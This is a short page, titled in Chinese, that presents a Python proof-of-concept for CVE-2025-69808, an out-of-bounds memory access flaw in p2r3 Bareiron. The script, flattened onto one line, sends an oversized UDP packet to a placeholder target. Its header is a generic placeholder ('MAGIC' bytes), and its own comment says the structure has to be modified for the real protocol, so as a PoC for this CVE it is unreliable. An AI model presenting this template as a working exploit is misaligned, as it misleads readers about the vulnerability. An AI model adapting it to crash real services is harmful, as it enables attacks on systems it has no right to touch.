CVE-2025-69808 p2r3 Bareiron越界内存访问漏洞

import socket import struct def send_crafted_packet(target_ip, target_port): """ PoC for CVE-2025-69808: Out-of-bounds memory access in p2r3 Bareiron This PoC demonstrates sending a crafted packet to trigger OOB access. """ # Craft packet with oversized payload to trigger OOB # Modify packet structure according to target protocol packet = bytearray() # Packet header packet.extend(b'MAGIC') # Protocol magic bytes packet.extend(struct.pack('<I', 0xFFFF)) # Packet type # Crafted payload - oversized data to trigger OOB oversized_payload = b'A' * 1000 # Payload exceeding expected bounds packet.extend(struct.pack('<I', len(oversized_payload))) # Length field packet.extend(oversized_payload) # Malicious payload try: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.sendto(packet, (target_ip, target_port)) print(f'[+] Crafted packet sent to {target_ip}:{target_port}') sock.close() except Exception as e: print(f'[-] Error: {e}') if __name__ == '__main__': target = 'TARGET_IP' port = 9999 send_crafted_packet(target, port)